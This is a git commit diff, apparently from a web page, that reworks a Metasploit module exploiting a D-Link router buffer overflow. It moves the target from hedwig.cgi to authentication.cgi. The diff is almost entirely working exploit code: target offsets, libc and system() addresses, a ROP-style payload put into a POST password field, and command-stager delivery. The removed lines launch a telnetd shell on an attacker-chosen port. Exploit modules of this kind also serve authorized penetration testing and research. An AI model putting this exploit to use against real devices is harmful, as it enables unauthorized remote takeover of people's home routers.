renamed and other module removed
parent
8eb21ded97
commit
e908b7bc25
|
@ -6,32 +6,34 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it
|
||||
Rank = ExcellentRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
|
||||
'Name' => 'D-Link authentication.cgi Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution vulnerability on different D-Link routers.
|
||||
This module has been tested successfully on D-Link DIR300-v2.14, DIR600 and DIR645A1_FW103B11.
|
||||
This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the
|
||||
DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated
|
||||
environment. They are a little bit different in the first ROP gadget.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Roberto Paleari', # Vulnerability discovery
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' },
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '95950' ],
|
||||
[ 'OSVDB', '95951' ],
|
||||
[ 'EDB', '27283' ],
|
||||
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site
|
||||
[ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router
|
||||
|
@ -39,9 +41,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'D-Link DIR-645 v1.03 - start telnetd',
|
||||
[ 'D-Link DIR-645 1.03',
|
||||
{
|
||||
'Offset' => 973,
|
||||
'Offset' => 1011,
|
||||
'LibcBase' => 0x2aaf8000, #Router
|
||||
#'LibcBase' => 0x40854000, # QEMU environment
|
||||
'System' => 0x000531FF, # address of system
|
||||
|
@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/hedwig.cgi",
|
||||
'uri' => "/authentication.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
|
@ -72,16 +74,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
lport = datastore['LPORT']
|
||||
cmd = "/usr/sbin/telnetd -p #{lport}"
|
||||
|
||||
print_status("#{peer} - Trying to access the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
end
|
||||
|
||||
# prepare our shellcode that triggers the crash:
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:linemax => 200,
|
||||
:concator => "&&"
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
shellcode = rand_text_alpha_upper(target['Offset']) # padding
|
||||
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
|
||||
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
|
||||
|
@ -103,20 +109,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
shellcode << rand_text_alpha_upper(16) # filler in front of our command
|
||||
shellcode << cmd
|
||||
end
|
||||
|
||||
# now lets rock it ...
|
||||
|
||||
print_status("#{peer} - Sending exploit ...")
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
#'uri' => "/hedwig_gdb.cgi", #for debugging on the router
|
||||
'uri' => "/hedwig.cgi",
|
||||
'cookie' => "uid=#{shellcode}",
|
||||
#'uri' => "/authentication_gdb.cgi", #for debugging on the router
|
||||
'uri' => "/authentication.cgi",
|
||||
'cookie' => "uid=test",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'test' => 'test',
|
||||
'uid' => 'test',
|
||||
'password' => 'asd' << shellcode,
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue